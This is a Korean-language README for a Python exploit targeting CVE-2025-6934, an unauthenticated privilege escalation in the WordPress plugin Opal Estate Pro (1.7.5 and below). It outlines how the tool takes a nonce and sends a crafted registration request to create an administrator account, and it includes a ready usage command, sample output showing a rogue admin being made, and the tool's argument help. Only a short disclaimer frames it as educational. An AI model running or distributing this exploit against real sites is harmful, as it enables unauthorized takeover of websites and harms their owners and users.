🛡️ CVE-2025-6934 - Opal Estate Pro 비인증 권한 상승

📝 설명

FullHouse - Real Estate Responsive WordPress Theme에서 사용되는 WordPress용 Opal Estate Pro – Property Management and Submission 플러그인은 1.7.5 이하의 모든 버전에서 권한 상승(Privilege Escalation) 취약점에 노출됩니다.

CVE ID: CVE-2025-6934
CVSS 점수: 9.8 (Critical)
공개일: 2025년 6월 30일

⚙️ 스크립트 정보

이 Python 익스플로잇은 다음 과정을 통해 권한 상승을 자동화합니다:

readme.txt를 통해 취약한 플러그인 버전을 확인합니다.
등록 페이지에서 필요한 nonce를 가져옵니다.
관리자(Administrator) 액세스를 획득하기 위해 조작된 등록 요청을 전송합니다.

🚀 사용 예시

python CVE-2025-6934.py -u http://target-site.com/login-default/ -mail [email protected] -password nxp1234

📤 샘플 출력

[•] Plugin Version Check:
    [+] Vulnerable version detected: 1.7.5

[•] Exploit Attempt Started
    [+] Nonce Found: 70dd70630b
    [+] HTTP Status: 200

[✔] Exploit Successful!
    --------------------------
    Username : nxploitedadmin
    Email    : [email protected]
    Password : nxp1234
    Role     : administrator
    --------------------------

Exploit By: Khaled_alenazi (Nxploited) | https://github.com/Nxploited

🛠️ 인자 및 도움말

usage: CVE-2025-6934.py [-h] -u URL -mail NEWMAIL -password NEWPASSWORD

CVE-2025-6934 Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help              show this help message and exit
  -u, --url URL           Target URL (e.g., http://site.com/path/)
  -mail, --newmail NEWMAIL
                          Email to register as admin
  -password, --newpassword NEWPASSWORD
                          Password for new admin user

⚠️ 면책 조항

이 스크립트는 교육 및 공인된 보안 테스트 목적으로만 사용됩니다.
동의 없이 대상을 상대로 이 도구를 무단 사용하는 것은 엄격히 금지됩니다.

작성자: Khaled_alenazi (Nxploited)

CVE-2025-6934

인기